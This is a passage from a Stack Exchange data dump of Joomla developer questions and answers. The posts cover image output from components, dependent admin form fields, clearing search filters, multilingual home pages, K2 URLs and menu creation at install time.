OwnerUserId="126" LastEditorUserId="126" LastEditDate="2020-12-23T18:12:49.470" LastActivityDate="2020-12-23T18:12:49.470" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28759" PostTypeId="1" AcceptedAnswerId="28761" CreationDate="2020-12-28T22:25:24.290" Score="0" ViewCount="66" Body="&lt;p&gt;I am in the process of writing Joomla functionality that will produce JPEG-images on the fly using Imagick and GD. It is supposed to be used in Joomla articles like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IMG src=&amp;quot;/index.php?option_com=mycomponent&amp;amp;id=524&amp;amp;width=800....&amp;quot; alt=&amp;quot; .... &amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have managed to get the code to work in PHP with direct access to the database and the file system, but I want to integrate it into Joomla as an extension (not necessarily a component) to take advantage of Joomla's security, access management, logging and more.&lt;/p&gt;&#xA;&lt;p&gt;However, it seems that Joomla extensions always return their output to Joomla which then merges the output with other elements before sending the whole thing off to the browser.&lt;/p&gt;&#xA;&lt;p&gt;I want to avoid direct access from outside to temporary files, so instead my extension should generate the dynamic image and send it off to the browser with the correct headers. That means that the extension must circumvent Joomla and send to the browser directly. How would you accomplish that?&lt;/p&gt;&#xA;&lt;p&gt;NB: Tried Base64 encoding directly into the image tag, but could not make it work.&lt;/p&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="12352" LastEditDate="2020-12-28T22:33:29.187" LastActivityDate="2020-12-28T23:28:56.943" Title="How to write Joomla functionality that writes image data directly to the browser?" Tags="|joomla-3.x|development|images|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28760" PostTypeId="2" ParentId="27864" CreationDate="2020-12-28T22:43:48.517" Score="1" Body="&lt;p&gt;I have been fighting the same problem for two full days now, going over lesson 10 of &lt;a href=&quot;https://joomla.stackexchange.com/users/11650/robbie-jackson&quot;&gt;Robbie Jacksons&lt;/a&gt; excellent video explanations in this series  &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Developing_a_Basic_Component&lt;/a&gt; again and again.&lt;/p&gt;&#xA;&lt;p&gt;In lesson 10 he tries out his own alternative approach and he comes up with this redirect in his subcontroller to make the View Class based on JControllerForm use the edit.php layout:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;setRedirect(JROUTE::_(&amp;quot;index.php?option=com_helloworld&amp;amp;view=helloworld&amp;amp;layout=edit&amp;amp;id=$id&amp;quot;,false),$msg);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works! It really picks up the edit.php template. However, using the same technicque I failed to make it use another template (mine was called add.php). Even though, the View class picks up the name of the layout file, it somehow ends up using edit.php anyway. Hours of debugging in VS_code with XDebug, searching API-docs etc. did not give me the solution.&lt;/p&gt;&#xA;&lt;p&gt;In the end I ended up writing alternative subcontroller -, view- and model classes to handle add-functionality. When the view class has only one template in the tmpl-folder I managed to make it pick the right one, even if it not called default.php.&lt;/p&gt;&#xA;&lt;p&gt;Not a fully satisfactory solution I know, but at least you know that you are not the only one out there fighting the steep learning curve of Joomla programming:-)&lt;/p&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="14657" LastEditDate="2020-12-29T23:58:29.950" LastActivityDate="2020-12-29T23:58:29.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28761" PostTypeId="2" ParentId="28759" CreationDate="2020-12-28T23:28:56.943" Score="1" Body="&lt;p&gt;It sounds like you're using default view behaviour, ie show an entire html page.  In your component just jexit after you dump the image data. You don't need any modules or template and all your permission checking should already be done.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$img = new Imagick($file);&#xA;// do some image manipulation here&#xA;header('Content-Type: image/'.$img-&amp;gt;getImageFormat());&#xA;echo $img;&#xA;jexit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A post on dumping an image to the screen from imageMagick:&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/4932100/output-raw-image-from-imagick-image-in-php&quot;&gt;https://stackoverflow.com/questions/4932100/output-raw-image-from-imagick-image-in-php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2020-12-28T23:28:56.943" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28762" PostTypeId="1" CreationDate="2020-12-29T11:48:25.103" Score="0" ViewCount="30" Body="&lt;p&gt;I am trying to build a multilingual site with Joomla 3.9. Due to unknown reason, one of the &amp;quot;Home&amp;quot; flag in content languages is set to &amp;quot;NO&amp;quot; and I can't set it back to &amp;quot;YES&amp;quot;. And the result is, it can't be seen or be selected in the homepage. But as I added it into system, it was all &amp;quot;YES&amp;quot; in this column and it worked.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to set it back to &amp;quot;NO&amp;quot; (except changing it directly in database) or anyone knows what causes this problem? Thanks for any helps!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Wlr6O.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wlr6O.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14781" LastActivityDate="2024-01-15T16:05:35.637" Title="Home flag in content languages is set to NO and cannot be set back to YES" Tags="|joomla-3.x|language|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28763" PostTypeId="1" CreationDate="2020-12-29T14:07:11.603" Score="1" ViewCount="781" Body="&lt;p&gt;In a custom component, I'm developing an admin form with 2 fields, a combo-box for jobTitles and checkboxes for technologies. Both fields are loaded from a database table.&lt;/p&gt;&#xA;&lt;p&gt;The values of the checkbox shall be reloaded from the database when the user selects a different value in the combo-box.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Job 1: Java Developer&#xA;Technologies: Java, Hibernate, Spring Boot&#xA;&#xA;Job 2: C# Developer&#xA;Technologies: C#, MS Sql&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;These jobs are stored in a table.&lt;/p&gt;&#xA;&lt;p&gt;In my admin form, I'm seeing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Combobox: Java Developer&#xA;Checkbox:&#xA;Java&#xA;Hibernate&#xA;Spring Boot&#xA;&#xA;When I'm selecting C# Developer in the combo-box I want to get the possible values for the checkbox being reloaded from the table:&#xA;&#xA;C#&#xA;MS SQL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A possible solution could be that I use an event in JavaScript that got fired when I'm changing the combobox-value.&lt;/p&gt;&#xA;&lt;p&gt;But I have no idea how I can reload the checkbox-values from JavaScript.&lt;/p&gt;&#xA;&lt;p&gt;jobTitle.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('combo');&#xA;&#xA;class JFormFieldJobTitle extends JFormFieldCombo {&#xA;&#xA;    protected $type = 'JobTitle';&#xA;&#xA;    public function getOptions() {&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('jobtitle')-&amp;gt;from('`#__jobs`');&#xA;        $rows = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectlist();&#xA;        foreach($rows as $row){&#xA;            $jobTitles[] = $row-&amp;gt;jobtitle;&#xA;        }&#xA;        return $jobTitles;&#xA;    }&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        // Get the field options.&#xA;        $options = $this-&amp;gt;getOptions();&#xA;        $jobTitle = $this-&amp;gt;form-&amp;gt;getData()-&amp;gt;toObject()-&amp;gt;jobtitle;&#xA;&#xA;        parent::getInput();&#xA;        $result = '&amp;lt;script&amp;gt;&#xA;            function logger() { console.log(&amp;quot;Hello&amp;quot;); }&#xA;            function reload() { window.opener.location.reload(); }&#xA;            &amp;lt;/script&amp;gt;&#xA;            &amp;lt;button type=&amp;quot;button&amp;quot; onclick=&amp;quot;logger()&amp;quot;&amp;gt;Try it&amp;lt;/button&amp;gt;';&#xA;        $result .= '&amp;lt;div class=&amp;quot;combobox input-append&amp;quot;&amp;gt;';&#xA;        $result .= '&amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;jform[jobtitle]&amp;quot; id=&amp;quot;jform_jobtitle&amp;quot; onchange=logger() ';&#xA;        $result .= 'value=&amp;quot;' . $jobTitle . '&amp;quot; class=&amp;quot;combobox list&amp;quot; autocomplete=&amp;quot;off&amp;quot;/&amp;gt;';&#xA;        $result .= '&amp;lt;div class=&amp;quot;btn-group&amp;quot;&amp;gt;';&#xA;        $result .= '&amp;lt;button type=&amp;quot;button&amp;quot; class=&amp;quot;btn dropdown-toggle&amp;quot;&amp;gt;';&#xA;        $result .= '    &amp;lt;span class=&amp;quot;caret&amp;quot;&amp;gt;&amp;lt;/span&amp;gt;';&#xA;        $result .= '&amp;lt;/button&amp;gt;';&#xA;        $result .= '&amp;lt;ul class=&amp;quot;dropdown-menu&amp;quot;&amp;gt;';&#xA;&#xA;        foreach ($options as $option) {&#xA;            $result .= '&amp;lt;li&amp;gt;&amp;lt;a href = &amp;quot;#&amp;quot; onclick=&amp;quot;reload()&amp;quot;&amp;gt;' . $option . '&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;        }&#xA;        $result .= '&amp;lt;/ul&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;        return $result;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;technologies.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Check to ensure this file is included in Joomla!&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;JFormHelper::loadFieldClass('checkboxes');&#xA;JLoader::register('ActionlogsHelper', JPATH_ADMINISTRATOR . '/components/com_actionlogs/helpers/actionlogs.php');&#xA;class JFormFieldTechnologies extends JFormFieldCheckboxes {&#xA;&#xA;    protected $type = 'technologies';&#xA;&#xA;    public function getOptions() {&#xA;        $jobTitle = $this-&amp;gt;form-&amp;gt;getData()-&amp;gt;toObject()-&amp;gt;jobtitle;&#xA;        $currentBackend = $this-&amp;gt;form-&amp;gt;getData()-&amp;gt;toObject()-&amp;gt;backend;&#xA;        $currentBackend = explode(&amp;quot;\r\n&amp;quot;, $currentBackend);&#xA;        $db = JFactory::getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select('technologies')&#xA;            -&amp;gt;from('`#__jobs`')&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('jobtitle') . ' = ' . $db-&amp;gt;quote($jobTitle));&#xA;        $backend = $db-&amp;gt;setQuery($query)-&amp;gt;loadRow()[0];&#xA;        $backend = explode(&amp;quot;\r\n&amp;quot;, $backend);&#xA;&#xA;        // create the result array&#xA;        foreach ($backend as $b) {&#xA;            if (in_array($b, $currentBackend))&#xA;                $result[] = [$b, true];&#xA;            else&#xA;                $result[] = [$b, false];&#xA;        }&#xA;&#xA;        return $result;&#xA;    }&#xA;&#xA;    protected function getInput()&#xA;    {&#xA;        // Get the field options.&#xA;        $options = $this-&amp;gt;getOptions();&#xA;&#xA;        $html = '&amp;lt;fieldset id=&amp;quot;jform_technologies&amp;quot; class=&amp;quot;list checkboxes&amp;quot;&amp;gt;';&#xA;        $i = 0;&#xA;        foreach ($options as $option) {&#xA;            $backend = $option[0];&#xA;            $selected = $option[1];&#xA;            $name = 'jform_backend' . $i;&#xA;            $html .= '&amp;lt;label for=&amp;quot;' . $name . '&amp;quot; class=&amp;quot;checkbox&amp;quot;&amp;gt;';&#xA;            if ($selected)&#xA;                $html .= '&amp;lt;input type=&amp;quot;checkbox&amp;quot; id=&amp;quot;' . $name . '&amp;quot; name=&amp;quot;jform[technologies][]&amp;quot; value=&amp;quot;' . $backend . '&amp;quot; checked&amp;gt;' . $backend . '&amp;lt;/label&amp;gt;';&#xA;            else&#xA;                $html .= '&amp;lt;input type=&amp;quot;checkbox&amp;quot; id=&amp;quot;' . $name . '&amp;quot; name=&amp;quot;jform[technologies][]&amp;quot; value=&amp;quot;' . $backend . '&amp;quot;&amp;gt;' . $backend . '&amp;lt;/label&amp;gt;';&#xA;            $i++;&#xA;        }&#xA;        $html .= '&amp;lt;/fieldset&amp;gt;';&#xA;&#xA;        return $html;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14782" LastEditorUserId="12352" LastEditDate="2020-12-30T10:17:00.070" LastActivityDate="2023-01-17T16:30:19.227" Title="How to dynamically reload admin-form-fields in Joomla" Tags="|php|custom-component|form|form-fields-types|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28764" PostTypeId="1" CreationDate="2020-12-30T01:59:11.170" Score="2" ViewCount="338" Body="&lt;p&gt;I developed the component based on the &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_decorations_to_the_backend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_decorations_to_the_backend&lt;/a&gt; tutorial, using the default search filter function to put it in the foreground of the website,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JLayoutHelper::render('joomla.searchtools.default',array('view' =&amp;gt; $this));?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but when the search filter is filtered, it leaves the page like management background search filter and retains the filter conditions and Value, I want to automatically clear the retained value after leaving the current page, how do I do it?&lt;/p&gt;&#xA;" OwnerUserId="14783" LastActivityDate="2021-01-01T09:06:15.633" Title="How to clear Joomla default search filter value when leave current page?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28766" PostTypeId="2" ParentId="28764" CreationDate="2020-12-31T07:06:19.050" Score="3" Body="&lt;p&gt;This is a bit interesting question because most of the users want to keep the search filter state as it is for a while and if they do not they would just click on the filter clear button manually. However it happened with me too few times that I've forgotten clearing the search filter and I have been looking for items which had been filtered out already.&lt;/p&gt;&#xA;&lt;p&gt;So, since &lt;strong&gt;searchtools&lt;/strong&gt; in Joomla is a jQuery plugin, the simplest way of handling the auto-clearing of the search filter could be with a short jQuery script according to me. You want to clear the search filter not when someone is leaving the items list page but when someone arrives back to the items list page and the search filter is not empty. That would be a simpler and more sensible, easier approach in my opinion. So the basic script would be for this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;&#xA;jQuery(document).ready(function($) {&#xA;  let urlReferrer = document.referrer;&#xA;  if (window.location.href != urlReferrer) {        &#xA;    let btn = $('.js-stools-btn-clear');        &#xA;    btn.click();&#xA;  }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now the above script does not do too much yet. It only checks if you arrive from another URL other than the current page's url (so if you just refresh the list page it does not do anything). And if you arrive from other pages then it will trigger the clear-button click, thus ignites the searchtools &lt;code&gt;clear()&lt;/code&gt; method (which submits the form again with a clear filter state).&lt;/p&gt;&#xA;&lt;p&gt;But the above script must be extended with few other conditions if we really want to get a useful function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;&#xA;jQuery(document).ready(function($) {&#xA;  let searchField = $('input[name=&amp;quot;filter[search]&amp;quot;]');&#xA;  let searchVal = searchField.val();    &#xA;  let urlReferrer = document.referrer;  &#xA;  let urlTest = urlReferrer.match(/view=article&amp;amp;layout=edit/g);&#xA;&#xA;  if (window.location.href != urlReferrer &amp;amp;&amp;amp; urlTest == null &amp;amp;&amp;amp; searchVal != '') {&#xA;    let btn = $('.js-stools-btn-clear');        &#xA;    btn.click();&#xA;  }&#xA;});&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So the script is extended with the followings:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It checks whether you arrived from other pages and not just refreshing the page.&lt;/li&gt;&#xA;&lt;li&gt;It checks if you are not an editor of the pages and you are not just arriving back from the item's edit page where you are editing specific items you wanted to filter for editing, so you want to keep the filtered items.&lt;/li&gt;&#xA;&lt;li&gt;It checks if the search filter is already empty thus we do not have to clear that. This way the arriving new users will also not trigger this function at all.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;(&lt;strong&gt;note:&lt;/strong&gt; at the &lt;code&gt;urlTest&lt;/code&gt; variable, the value of the &lt;code&gt;match()&lt;/code&gt; method must be changed to your single item edit view name! I just wanted to test this in articles/article edit view). I also deliberately used more variables than needed just for the better overview of the script here. It could be few lines shorter of course.&lt;/p&gt;&#xA;&lt;p&gt;The script should be placed to the bottom of the list view's layout file of your items in tmpl folder. For exmaple:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/administrator/components/com_mycomponent/views/items/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;or if it is front-end:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/components/com_mycomponent/views/items/tmpl/default.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;We want to use this in list views of course. There could be other ways of clearing the state of the search filter (or model) but this is I considered as the simplest approach for that.&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-01-01T09:06:15.633" LastActivityDate="2021-01-01T09:06:15.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28767" PostTypeId="2" ParentId="28762" CreationDate="2020-12-31T12:51:12.160" Score="1" Body="&lt;p&gt;Alright.&lt;/p&gt;&#xA;&lt;p&gt;The NO in Column Home in content languages means there is no Homepage set in the menu. After you switch to the mean and set a homepage, the value will turn to a YES. In my case I just go to the Chinese menu and set a menu item as homepage. After that the problem is solved.&lt;/p&gt;&#xA;" OwnerUserId="14781" LastActivityDate="2020-12-31T12:51:12.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28768" PostTypeId="1" CreationDate="2021-01-03T01:14:14.087" Score="1" ViewCount="48" Body="&lt;p&gt;I just installed Joomla 3.9 and K2. Created few items in k2. But looks like URL generated by K2 is not really SEF Url. when categories are published as menu items&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I enabled SEF URLs in Global Configuration.&lt;/li&gt;&#xA;&lt;li&gt;In K2 configuration, I added the following configuration under SEO&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Url for the items generated fine when their category is not added in main menu as seen below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/parent-category/sub-category1/sub-category2/article-title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now as soon as I add the main menu category hierarchy for category &amp;quot;sub-category2&amp;quot;, url now changes to the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/parent-category/sub-category1/sub-category2/parent-category/sub-category1/sub-category2/article-title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As seen, it adds the menu hierarchy as well as my category hierarchy to the url.&lt;/p&gt;&#xA;&lt;p&gt;How can I get rid of main menu hierarchy from the url and only keep the category hierarchy so that my article url is clean?&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pwSz7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pwSz7.png&quot; alt=&quot;K2 SEO Configuration&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7811" LastEditorUserId="7811" LastEditDate="2021-01-03T14:41:43.323" LastActivityDate="2021-01-03T14:41:43.323" Title="K2 SEF URls adds menu and category hierarchy" Tags="|k2|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28769" PostTypeId="2" ParentId="28763" CreationDate="2021-01-03T09:58:24.260" Score="1" Body="&lt;p&gt;First of all you may well be able to use the &lt;a href=&quot;https://docs.joomla.org/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla SQL Form Field&lt;/a&gt; for your Job Title field, instead of having to write a custom field.&lt;/p&gt;&#xA;&lt;p&gt;To make the Technologies dropdown dependent upon the Job Title field you may be able to use the &lt;code&gt;showon&lt;/code&gt; attribute as described in &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/18998&quot; rel=&quot;nofollow noreferrer&quot;&gt;Enabling showon to work in list options&lt;/a&gt;. In your Technologies custom field you'd have to select and include in the form field &lt;em&gt;all&lt;/em&gt; the technologies from the database table, but set up the showon attribute on each so that an individual item was shown only if what was set in the Job Title field matched, if you understand what I mean.&lt;/p&gt;&#xA;&lt;p&gt;I haven't tried this out, so I can't confirm if it does exactly what you need, but I'd be fairly hopeful that it would.&lt;/p&gt;&#xA;&lt;p&gt;It would be better going down this route rather than using the option of reloading from the database as it doesn't involve any additional HTTP requests to the server.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastActivityDate="2021-01-03T09:58:24.260" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28770" PostTypeId="2" ParentId="21754" CreationDate="2021-01-03T19:56:59.723" Score="1" Body="&lt;p&gt;Could that be a use case for Docker?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run official Joomla docker image in a specific version, and you can swap for another version for testing various environments&lt;/li&gt;&#xA;&lt;li&gt;If a specific website is using the extensions, a snapshot of the website can be turned into a docker image&lt;/li&gt;&#xA;&lt;li&gt;Docker image should have xdebug ready to go and be able to remote debug. Visual Studio Code now have a way to use docker image as workspace, or via ssh tunnel.&lt;/li&gt;&#xA;&lt;li&gt;Probably the most tricky part.. manipulate extension code seamlessly:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sync files when saving or running command (rsync via ssh) ?&lt;/li&gt;&#xA;&lt;li&gt;Docker volumes (requires volume for each extension &amp;quot;entry point&amp;quot; like site, admin, media, etc).&lt;/li&gt;&#xA;&lt;li&gt;Package extension and install using CLI via ssh ..not great for development, but maybe tests.&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14790" LastActivityDate="2021-01-03T19:56:59.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28771" PostTypeId="1" CreationDate="2021-01-03T20:40:41.407" Score="1" ViewCount="50" Body="&lt;p&gt;I'am working with the last git changes of Joomla 4.0. In my component, i create the menu items for frontend part during postflight step when installing a component. The issue is that isn't able to find at this step the component ID.&lt;/p&gt;&#xA;&lt;p&gt;In the script.php file of the component in the postflight (&lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/script.php#L265&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/script.php#L265&lt;/a&gt;), i call a method to create the menu items :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$installer = new KunenaModelInstall;&#xA;$installer-&amp;gt;createMenu();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The createMenu() method is located here : &lt;a href=&quot;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/libraries/kunena/src/Install/KunenaModelInstall.php#L3022&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Kunena/Kunena-Forum/blob/K6.0/src/libraries/kunena/src/Install/KunenaModelInstall.php#L3022&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5Q4fM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5Q4fM.png&quot; alt=&quot;menu manager of Joomla!&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Why the component id isn't set at this step ? If i call the methode createMenu() after that the component is installed i don't encounter this issue&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2021-08-25T15:41:33.803" LastActivityDate="2021-08-26T18:09:12.443" Title="Doesn't find the component id when creating menu items during postflight step when installing a component" Tags="|component|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28772" PostTypeId="2" ParentId="28771" CreationDate="2021-01-04T11:05:06.927" Score="1" Body="&lt;p&gt;The component id may not be available yet; you might be able to retrieve it from the db, I did find my own extension in the extensions table at this step but haven't tried; that seems overkill anyways.&lt;/p&gt;&#xA;&lt;p&gt;Just add the menu and submenu items in the xml of the component, in the administration section, at the same level as files and folders something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;administration&amp;gt;&#xA;    &amp;lt;menu img=&amp;quot;components/com_littlehelper/assets/images/logo16.png&amp;quot;&amp;gt;COM_LITTLEHELPER&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;submenu&amp;gt;&#xA;        &amp;lt;menu link=&amp;quot;option=com_littlehelper&amp;amp;amp;view=trash_n_cache&amp;quot; img=&amp;quot;components/com_littlehelper/assets/images/joomla16.png&amp;quot;&amp;gt;COM_LITTLEHELPER_TRASH_AND_CACHE&amp;lt;/menu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and so on. You can create menus, submenus, and the translations will be automatically be applied. Joomla takes care of it all, so you can avoid the postflight altogether.&lt;/p&gt;&#xA;&lt;h1&gt;Frontend Menus&lt;/h1&gt;&#xA;&lt;p&gt;If your postflight should create a frontend menu and menuitems, here are just some considerations:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ensure you are using the new API for Joomla 3.9 and Joomla 4&lt;/li&gt;&#xA;&lt;li&gt;delete the items you create when uninstalling&lt;/li&gt;&#xA;&lt;li&gt;ensure they are not present already before creating them: ever if you delete on uninstall, this will save you some issues.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="377" LastEditorUserId="377" LastEditDate="2021-08-26T18:09:12.443" LastActivityDate="2021-08-26T18:09:12.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28773" PostTypeId="1" CreationDate="2021-01-04T14:03:04.107" Score="0" ViewCount="42" Body="&lt;p&gt;good day&lt;/p&gt;&#xA;&lt;p&gt;When creating a new record in the component, a link is sent to the admin's mail&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http: //localhost/index.php? option = com_aepetitions &amp;amp; view = editpetition &amp;amp; task = editpetition.edit &amp;amp; id = 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But if the user is not authorized on the site, he is transferred to 1&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;com_aepetitions \ views \ editpetition \ tmpl \ default.php&#xA;&#xA;http: //localhost/index.php? option = com_aepetitions &amp;amp; view = editpetition&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In &lt;code&gt;com_aepetitions \ views \ editpetition \ tmpl \ default.php&lt;/code&gt; made a login form with a redirect to the desired address,&#xA;but there is a problem - how can I get the parameter &amp;amp; id = 4&#xA;How do I get the id parameter after a redirect?&#xA;Reading JFactory :: getApplication () -&amp;gt; input-&amp;gt; get ('id') gives null&lt;/p&gt;&#xA;&lt;p&gt;What is the chain in Joomla MVC when opening a link&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http: //localhost/index.php? option = com_aepetitions &amp;amp; view = editpetition &amp;amp; task = editpetition.edit &amp;amp; id = 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;so that it was possible for an unauthorized user to write the id parameter somewhere?&lt;/p&gt;&#xA;" OwnerUserId="14793" LastActivityDate="2021-01-04T14:03:04.107" Title="Link options when redirecting" Tags="|redirect|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28774" PostTypeId="1" CreationDate="2021-01-04T15:12:07.450" Score="1" ViewCount="285" Body="&lt;p&gt;We have a Joomla site with a few people managing it, adding articles written by numerous other authors. I would like to set the author name for each article and show it in the front end in the article info box (and possibly work with it in other ways like listing all articles by the same author).&lt;/p&gt;&#xA;&lt;p&gt;Could you please explain to me a little bit about the treatment of article authors in Joomla? In the administration of articles in the tab &lt;strong&gt;Publishing&lt;/strong&gt; there are fields &lt;em&gt;Created By&lt;/em&gt;, &lt;em&gt;Created by Alias&lt;/em&gt; and &lt;em&gt;Author&lt;/em&gt;. &lt;em&gt;Created By&lt;/em&gt; is apparently the username of the Joomla user who actually created the Article, while &lt;em&gt;Created by Alias&lt;/em&gt; and &lt;em&gt;Author&lt;/em&gt; can be freely edited. What I find baffling is that a column labelled 